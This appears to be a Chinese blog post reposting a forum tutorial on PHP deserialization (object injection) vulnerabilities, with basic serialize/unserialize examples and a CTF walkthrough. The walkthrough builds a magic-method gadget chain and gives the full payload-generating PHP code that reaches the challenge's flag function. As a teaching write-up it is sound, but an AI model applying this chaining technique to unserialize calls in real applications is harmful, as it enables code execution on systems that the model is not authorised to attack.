CTF中的PHP反序列化漏洞简单分析
2022-11-14 08:30:53 Author: HACK之道(查看原文) 阅读量:25 收藏

一、前言

在ctf比赛中,经常会遇到php反序列化漏洞的题,今天就来简单分析下该漏洞的正确食用姿势~


二、正文

1.基础知识
PHP序列化:
php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用
serialize()函数。

PHP反序列化:
将被压缩为字符串的复杂数据结构,重新恢复,使用
unserialize()函数。

PHP反序列化漏洞:
也叫PHP对象注入,php有许多魔术方法(所谓魔术方法,就是系统在特定时刻自动调用的方法),如果代码中使用了反序列化 
unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过注入参数来达到想要实现的目的。

PHP
序列化漏洞常用的魔术方法:
__construct():当一个类被创建时自动调用__destruct():当一个类被销毁时自动调用
__invoke():当把一个类当作函数使用时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__call():当要调用的方法不存在或权限不足时自动调用

2.实例
(1)序列化数组
将php数组转化为序列化字符串:
源码:

[PHP] 

<?php
$arr=array('name'=>'cat','age'=>2); #构造一个数组arr,包含属性name和age var_dump($arr); #输出显示数组 echo ("<br></br>"); $info=serialize($arr); #输出显示序列化后的数组 echo($info);
?>

运行结果:

序列化数组字符串格式如下:

a:size:{key1;value1;key2,value2...}

a代表类别是数组,size表示数组属性个数,{ }里是按键值对格式存储的数组内容其中,sstring类型,iint类型,s后面的数字是其长度,i后面的是其数值


(2)序列化对象将php对象序列化为数组:
源码:

[PHP] 

<?php
class Person #Person类,包含name和age属性{public $name = "cat"; public $age = 2;
}$b=new Person(); #创建Person对象$b,赋值$b->name = 'dog';$b->age = 3;echo (serialize($b))."<br />" #输出显示序列化后的对象?>

运行结果:


序列化对象字符串格式如下:

O :strlen(object name):name:size:{key1;value1;key2;value2;...}

O代表类别是对象,strlen(object name)表示对象名长度,后面是对象名和属性个数{ }里是按键值对格式存储的数组内容,其中,sstring类型,iint类型,s后面的数字是其长度,i后面的是其数值

(3)反序列化对象

将序列化对象字符串恢复:

源码:

[PHP] 

<?php
class Person{public $name = "cat";public $age = 2;}$b=new Person();$b->name = 'dog';$b->age = 3;$a = serialize($b);echo ($a)."<br><br>";var_dump (unserialize($a));
?>

运行结果:


3.例题

由一道ctf赛题来实际分析一波:

源码:

[PHP] 

<?phpclass start_gg{public $mod1;public $mod2;public function __destruct(){$this->mod1->test1();        }}class Call{public $mod1;public $mod2;public function test1(){$this->mod1->test2();    }}class funct{public $mod1;public $mod2;public function __call($test2,$arr){                $s1 = $this->mod1;                $s1();        }}class func{public $mod1;public $mod2;public function __invoke(){$this->mod2 = "字符串拼接".$this->mod1;        } }class string1{public $str1;public $str2;public function __toString(){$this->str1->get_flag();return "1";        }}class GetFlag{public function get_flag(){echo "flag:"."xxxxxxxxxxxx";        }}$a = $_GET['string'];unserialize($a);?>

思路分析:

看到了unserialize()函数,自然联想到php反序列化漏洞。

(1)想得到flag,就需要调用GetFlag类里的get_flag()方法。

(2)在上面的类里查找,在string1中发现了get_flag()方法被调用,但却是参数$str1的方法,所以需要把$str1赋值为GetFlag类的对象,这样才可以调用它。又因为get_flag()方法在魔术方法__toString()方法里,所以需要把类string1当成字符串来使用,得以自动调用__toString()方法。

(3)要把类string1当成字符串使用,在类 func()中发现字符串拼接,所以需要把$mod1赋值为string1类的对象;又因为字符串拼接在__invoke()方法中,所以需要把func类当成函数使用来自动调用 __invoke()方法。

(4)继续查找,在funct中找到了函数调用,需要把mod1赋值为func类的对象,又因为函数调用在 __call方法中,且参数为$test2,即无法调用test2方法时自动调用 __call方法;向上,在Call类的test1方法中看到了调用test2方法,是$mod1的方法,只需要把$mod1赋值为funct类的对象,即可自动调用__call方法。

(5)查找test1方法的调用,在start_gg类中看到调用,为$mod1的方法,在start_gg类的__destruct()方法,只需要把$mod1赋值为start_gg类的对象,即可自动调用__destruct()方法。

(6)构造payload,如下:


Payload:

[PHP] 

<?phpclass start_gg{public $mod1;public $mod2;public function __construct()                #把$mod1赋值为Call类对象{$this->mod1 = new Call();        }public function __destruct(){$this->mod1->test1();        }}class Call{public $mod1;public $mod2;public function __construct()                #把 $mod1赋值为funct类对象{$this->mod1 = new funct();        }public function test1(){$this->mod1->test2();           }}
class funct{public $mod1;public $mod2;public function __construct() #把 $mod1赋值为func类对象{$this->mod1= new func();
}public function __call($test2,$arr){ $s1 = $this->mod1; $s1(); }}class func{public $mod1;public $mod2;public function __construct() #把 $mod1赋值为string1类对象{$this->mod1= new string1();
}public function __invoke(){ $this->mod2 = "字符串拼接".$this->mod1; } }class string1{public $str1;public function __construct() #把 $str1赋值为GetFlag类对象{$this->str1= new GetFlag(); }public function __toString(){ $this->str1->get_flag();return "1"; }}class GetFlag{public function get_flag(){echo "flag:"."xxxxxxxxxxxx"; }}$b = new start_gg; #构造start_gg类对象$becho urlencode(serialize($b))."<br />"; #显示输出url编码后的序列化对象


成功输出flag:

小结:ctf中php序列化问题,首先需要找到目标函数,然后由此向前逆推,利用各个类的魔术方法,最终实现目标函数的调用。

三、小结

一般来说,只有在白盒审计时才能从代码中发现php反序列化漏洞,而利用该漏洞也需要构造php序列化代码,利用条件比较苛刻。但当反序列化漏洞被恶意使用时,就可能造成代码执行、getshell等严重后果。所以在编程时,需要注意魔术方法的使用,以及反序列化参数的输入过滤问题,避免该漏洞的产生。

~END


作者:Versi0n

文章来源:https://bbs.ichunqiu.com/thread-45290-1-1.html?from=aqzx4


扫码加个好友进

渗透测试技术交流群

请备注:进群

文章来源: http://mp.weixin.qq.com/s?__biz=MzIwMzIyMjYzNA==&mid=2247505918&idx=2&sn=701338cf5a175055af23de4995488afc&chksm=96d02cfba1a7a5edc667b472ada5420a8551c24dbfadd772aab76f8858a1d0bc0fdcf123aeaa#rd
如有侵权请联系:admin#unsafe.sh